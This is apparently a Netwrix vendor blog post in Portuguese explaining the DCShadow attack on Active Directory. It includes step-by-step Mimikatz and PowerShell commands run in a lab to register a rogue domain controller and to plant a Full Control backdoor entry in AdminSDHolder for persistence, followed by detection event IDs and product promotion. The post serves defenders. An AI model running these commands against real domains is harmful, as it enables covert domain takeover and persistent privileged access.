Magic Quadrant™ para gerenciamento de acesso privilegiado 2025: Netwrix reconhecida pelo quarto ano consecutivo. Baixe o relatório.

Plataforma
Centro de recursosBlog
O que é um Ataque DCShadow e Como se Defender Contra Ele

O que é um Ataque DCShadow e Como se Defender Contra Ele

Sep 28, 2022

DCShadow é um ataque de estágio avançado na cadeia de eliminação que permite a um adversário com credenciais privilegiadas comprometidas registrar um controlador de domínio (DC) Active Directory falso e replicar alterações maliciosas, como modificações que os ajudam a estabelecer persistência. Mais especificamente, DCShadow é um comando no módulo lsadump da ferramenta de hacking de código aberto Mimikatz. Introduzido no início de 2018, ele utiliza instruções específicas no protocolo Microsoft Directory Replication Service Remote (MS-DRSR) protocolo.

Ataques DCShadow são difíceis de prevenir. Assim como DCSync, ele não abusa de uma vulnerabilidade que poderia ser corrigida; ele explora funções válidas e necessárias do processo de replicação, que não podem ser desativadas ou desabilitadas. Ataques DCShadow também são difíceis de detectar, já que as alterações que o adversário solicita são registradas, processadas e comprometidas como replicação de domínio legítima.

Visão geral de um ataque DCShadow

Aqui está uma visão geral dos passos em um ataque DCShadow:

  1. Um atacante obtém permissões de Domain Admin ou Enterprise Admin, por exemplo, comprometendo uma conta de serviço gerenciada por grupo mal protegida.
  2. The attacker uses DCShadow to register a computer object (such as a workstation) as a domain controller by making changes to the AD configuration schema and the workstation’s SPN. Now, AD thinks the workstation is a DC so it’s trusted to replicate changes.
  3. O atacante envia alterações para replicação, como mudanças nos dados de senha, detalhes da conta ou associação a grupos de segurança. Uma vez acionada a replicação, as alterações são publicadas e confirmadas pelos outros DCs.
  4. O atacante usa DCShadow para remover o controlador de domínio malicioso do banco de dados do AD para ocultar sua atividade.

Um Exemplo Simples: Replicando uma Pequena Alteração Usando DCShadow

Vamos supor que você é um atacante que registrou um DC malicioso usando DCShadow. Aqui estão os passos que você poderia seguir para replicar uma alteração simples em todos os DCs no domínio.

Passo 1. Mude para usar a conta SYSTEM.

O processo que cria a alteração a ser replicada deve ser executado como a conta SYSTEM, em vez de uma conta de usuário de domínio, pois apenas alterações de DCs registrados serão replicadas. Se você não fizer isso, poderá ver este código de erro:

      ERROR kuhl_m_lsadump_dcshadow_force_sync_partition ; IDL_DRSReplicaAdd DC=JEFFLAB,DC=local 0x80090322 (2148074274)
      

Uma maneira de executar um processo como SYSTEM em Mimikatz é usar PSExec:

      PsExec.exe –i –s cmd.exe
      

Para confirmar que você está executando como SYSTEM, use o comando whoami .

Image

Em seguida, use token::elevate para garantir que todas as threads sejam executadas como SYSTEM.

Image

Passo 2. Aplique a alteração desejada.

Agora você poderá fazer uma alteração. Para este exemplo simples, vamos alterar a descrição da conta de Administrador:

      lsadump::dcshadow /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local /attribute:description /value:”DCShadow was here!”
      
Image

Etapa 3. Acionar a replicação.

Para disparar a replicação, abra outra janela e execute o seguinte comando como a conta de Domain Admin comprometida (não como SYSTEM):

      lsadump::dcshadow /push
      

A janela original exibirá os eventos resultantes:

Image

Passo 4. Confirme a alteração.

Vá até o controlador de domínio e verifique o campo de descrição:

Image

Um Ataque do Mundo Real: Usando DCShadow para Alcançar Persistência

Agora vamos ver como um adversário usaria DCShadow em um ataque real. Para executar o DCShadow, eles já devem ter direitos de Domain Admin ou Enterprise Admin, então por que precisariam usar o DCShadow?

Um motivo é que eles podem não querer usar uma conta de Domain Admin para exfiltração de dados, já que essas contas são frequentemente monitoradas de perto e disparam alarmes mais facilmente. Outro motivo é para obter direitos administrativos em outras florestas.

Mas um dos motivos mais comuns é criar persistência — de modo que, mesmo que percam o acesso à conta de administrador comprometida, eles manterão um ponto de apoio no domínio. Vamos analisar uma maneira de usar o DCShadow para alcançar persistência.

O fluxo de trabalho básico é o seguinte:

  1. Revise o objeto AdminSDHolder, que fornece permissões de modelo para as contas e grupos protegidos no domínio.
  2. Adicione uma nova conta com permissões de Controle Total ao AdminSDHolder.
  3. Replicar a alteração usando DCShadow.

Passo 1. Revise o objeto AdminSDHolder.

Para revisar o objeto AdminSDHolder, utilizaremos alguns comandos básicos do PowerShell:

      $AdminSDHolder = [adsi]'LDAP://CN=AdminSDHolder,CN=System,DC=JEFFLAB,DC=local'

$SDDL = $AdminSDHolder.ObjectSecurity.Sddl
      
Image

Podemos usar o comando ConvertFrom-SDDLString para converter o resultado em um formato mais legível:

Image

Passo 2. Adicione uma conta ao contêiner AdminSDHolder.

Para criar persistência, devemos adicionar uma conta ao AdminSDHolder usando seu SID. Tudo o que precisamos saber é o nome distinto do objeto, e o seguinte comando armazenará seu SID na variável $UserSid:

      $UserToAdd = [adsi]'LDAP://CN=Bob Loblaw,OU=Business,OU=Users,OU=JEFFLAB,DC=JEFFLAB,DC=local'

$UserSid  = New-Object System.Security.Principal.SecurityIdentifier($UserToAdd.objectSid[0], 0)
      
Image

Agora podemos usar essa variável para adicionar a conta ao AdminSDHolder, concedendo-lhe permissões de Controle Total. Usaremos o seguinte comando PowerShell:

      $NewSDDL = $SDDL + "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + $UserSid.Value + ")"
      

Se olharmos novamente para AdminSDHolder, agora vemos o usuário como a última entrada:

Image

Etapa 3. Replicar a alteração usando DCShadow.

Agora que temos as novas permissões na forma de um valor de atributo, é fácil aplicá-las com DCShadow. Executando como SYSTEM, podemos usar o seguinte comando para fazer a alteração desejada:

      mimikatz.exe "lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=JEFFLAB,DC=local /attribute:ntsecuritydescriptor /value:[output from the previous command]”
      
Image

Aqui, você pode ver que a mudança está pronta para ser replicada:

Image

Então usamos o comando lsadump::dcshadow/push para acionar a replicação. Aqui você pode ver o objeto AdminSDHolder atualizado com nosso usuário adicionado; em breve isso estará em todos os grupos protegidos no domínio.

Image

Prevenindo ataques DCShadow

Esta é apenas uma maneira pela qual o DCShadow pode ser usado para estabelecer persistência ou de outra forma comprometer a segurança do Active Directory. É desafiador prevenir esses ataques porque eles exploram recursos nativos do Active Directory, não falhas que podem ser corrigidas com patches.

A chave principal para a defesa reside no fato de que um atacante deve ter direitos de Domain Admin ou Enterprise Admin para realizar o ataque DCShadow. Assim, a estratégia mais eficaz para bloquear este ataque é impedir que alguém obtenha uma associação não autorizada a esses poderosos grupos de segurança.

Detectando ataques DCShadow

Uma vantagem principal do uso do DCShadow é que um atacante pode fazer alterações que não serão registradas pelos logs de eventos — já que as mudanças são feitas por meio de replicação, são vistas como legítimas. No entanto, você pode encontrar sinais de que um ataque está acontecendo usando os logs de eventos. Aqui estão os eventos principais a procurar.

Alterações nos SPNs de Computador

Para que o DCShadow funcione, dois valores específicos de nome de principal de serviço (SPN) devem ser adicionados ao computador que irá se passar pelo controlador de domínio (o computador a partir do qual o atacante está executando o DCShadow). Este pode ser qualquer computador integrado ao domínio.

Esses dois SPNS são:

  • Global Catalog server SPN — Este tem o formato GC/<DNS hostname>/<DNS forest name>.
  • Directory Replication Service (DRS) SPN — Este tem o formato <DRS interface GUID>/<DSA GUID>/<nome de domínio DNS>, onde <DRS interface GUID> é sempre E3514235–4B06–11D1-AB04–00C04FC2DCD2.

Podemos identificar sinais de ataques DCShadow ao procurar pela adição desses SPNs a um computador que não é um controlador de domínio, seguido pela remoção desses SPNs. (Note que em nosso laboratório, o DCShadow remove apenas o SPN do servidor Global Catalog; ele mantém o SPN do DRS.)

Podemos usar o Event ID 4742 para monitorar essas mudanças. Esse evento mostra qual usuário iniciou a alteração, assim você sabe qual conta de Domain Admin está sendo usada para realizar o ataque.

Image

Criação e Exclusão de um DC

Outro passo no ataque DCShadow é criar um DC no contêiner Sites do Namespace de Configuração. Isso é feito criando um servidor e configurações NTDS para esse servidor. Você pode ver esses objetos para nosso controlador de domínio legítimo abaixo:

Image

DCShadow criará um DC e suas configurações e, depois que a alteração for replicada, ele imediatamente deletará as entradas para encobrir seus rastros. Isso deixará para trás uma sequência estranha de eventos de um novo DC sendo adicionado e depois removido.

A adição pode ser rastreada com o Event ID 5137, que contém o nome do DC não autorizado, seu GUID e classe de objeto, e a conta responsável por criá-lo:

Image

O ID de evento 5141 exibirá as mesmas informações para a exclusão do DC:

Image

Unusual Replication Event

Também é possível detectar ataques DCShadow monitorando a replicação. No entanto, os eventos de replicação que são acionados podem ser difíceis de diferenciar de eventos de replicação genuínos.

No entanto, o Event ID 4929 pode ser uma pista útil, pois indica que um contexto de nomeação de origem foi removido e apontará para o DC desonesto como a fonte. Ver este evento para um computador que não é um controlador de domínio reconhecido deve levantar uma bandeira vermelha.

Image

Falha na replicação

Além disso, o par de eventos 4935 & 4936 indica uma falha de replicação que frequentemente pode ser associada a DCShadow.

Como a Netwrix pode ajudar

Netwrix StealthDEFEND é uma solução de primeira linha para detectar e responder a ataques DCShadow:

Detecção

Netwrix StealthDEFEND oferece detecção de ameaças DCShadow integrada. Monitora todos os eventos de replicação e alteração de domínio em tempo real para comportamentos indicativos de ataques DCShadow. Em particular, observa a adição e exclusão de DCs e monitora o tráfego de replicação.

Abaixo está um exemplo no qual o Netwrix StealthDEFEND detectou a adição de um novo controlador de domínio:

Image

A adição de um DC já é suspeita por si só, mas o relatório também destaca que a máquina está executando o Windows 10, que não suporta o papel de controlador de domínio. Ao expandir os detalhes do evento, podemos ver as mudanças específicas que foram feitas como parte do ataque DCShadow:

Image

Resposta

Embora a detecção rápida de ataques DCShadow seja crítica, não é suficiente, especialmente porque significa que um adversário comprometeu uma conta altamente privilegiada. Mas simplesmente desativar essa conta pode ser insuficiente, porque quando você detecta um ataque DCShadow, o adversário provavelmente já tem uma série de outros recursos e opções de rede disponíveis e em uso.

Netwrix StealthDEFEND oferece uma variedade de opções de resposta automatizadas que lhe permitem construir facilmente um playbook eficaz para cada ameaça ou vulnerabilidade antecipada. No caso de um ataque DCShadow, o playbook deve incluir os seguintes passos:

  • Notifique as pessoas certas na organização de que um ataque ocorreu e forneça-lhes as informações necessárias para responder eficazmente. Netwrix StealthDEFEND fornece todos os detalhes críticos do ataque, incluindo o perpetrador, a fonte e o alvo. Além disso, facilita a comunicação rápida através da fácil integração com Slack, Microsoft Teams, ServiceNow e outros sistemas usando PowerShell ou facilidades de webhook.
Image
  • Bloqueie a conta ou estação de trabalho perpetradora de executar replicações adicionais, autenticações ou outras ações:
Image

FAQs

O que é DCShadow?

DCShadow é um comando na ferramenta Mimikatz que permite a um adversário registrar um controlador de domínio malicioso e replicar alterações mal-intencionadas em todo o domínio.

Como funciona um ataque DCShadow?

Um atacante registra seu computador como um controlador de domínio ao fazer alterações no esquema de configuração do AD e no valor SPN da estação de trabalho. Em seguida, eles podem replicar mudanças, incluindo alterações para garantir sua persistência no domínio.

Como podem ser detectados os ataques DCShadow?

A melhor maneira de detectar ataques DCShadow é usar uma solução automatizada que monitora continuamente a adição suspeita de controladores de domínio e acompanha o tráfego de replicação em busca de atividades anormais.

Qual é a melhor maneira de responder a um ataque DCShadow?

Quando um ataque DCShadow é detectado, o tempo é essencial. Portanto, é melhor ter um fluxo de trabalho automatizado que imediatamente reporte o evento à equipe de segurança e bloqueie a conta de fazer quaisquer outras alterações no domínio.

Compartilhar em

Saiba Mais

Sobre o autor

Um homem com um casaco azul e camisa xadrez sorri para a cmera

Jeff Warren

Diretor de Produto

Jeff Warren supervisiona o portfólio de produtos da Netwrix, trazendo mais de uma década de experiência em gestão e desenvolvimento de produtos focados em segurança. Antes de se juntar à Netwrix, Jeff liderou a organização de produtos na Stealthbits Technologies, onde utilizou sua experiência como engenheiro de software para desenvolver soluções de segurança inovadoras em escala empresarial. Com uma abordagem prática e um talento para resolver desafios de segurança complexos, Jeff está focado em construir soluções práticas que funcionam. Ele possui um BS em Sistemas de Informação pela Universidade de Delaware.